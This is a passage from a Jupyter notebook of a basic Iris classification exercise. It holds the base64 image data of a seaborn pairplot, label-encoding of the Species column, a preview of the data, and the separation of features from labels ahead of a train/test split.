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", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sns.pairplot(df,hue='Species')" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "id": "8d0496ac", - "metadata": {}, - "outputs": [], - "source": [ - "# Labeling data by using LabelEncoder\n", - "label=LabelEncoder()\n", - "df[\"Species\"]=label.fit_transform(df[\"Species\"])" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "id": "1b4cedaf", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
SepalLengthCmSepalWidthCmPetalLengthCmPetalWidthCmSpecies
05.13.51.40.20
14.93.01.40.20
24.73.21.30.20
34.63.11.50.20
45.03.61.40.20
\n", - "
" - ], - "text/plain": [ - " SepalLengthCm SepalWidthCm PetalLengthCm PetalWidthCm Species\n", - "0 5.1 3.5 1.4 0.2 0\n", - "1 4.9 3.0 1.4 0.2 0\n", - "2 4.7 3.2 1.3 0.2 0\n", - "3 4.6 3.1 1.5 0.2 0\n", - "4 5.0 3.6 1.4 0.2 0" - ] - }, - "execution_count": 8, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.head()" - ] - }, - { - "cell_type": "markdown", - "id": "cc25ef85", - "metadata": {}, - "source": [ - "# Dividing the data in Attributes and Label" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "id": "da9ba7ca", - "metadata": {}, - "outputs": [], - "source": [ - "X=df.drop(\"Species\",axis=1)\n", - "y=df[\"Species\"]" - ] - }, - { - "cell_type": "markdown", - "id": "b3c4540d", - "metadata": {}, - "source": [ - "# Split Data in test and train" - ] - }, - 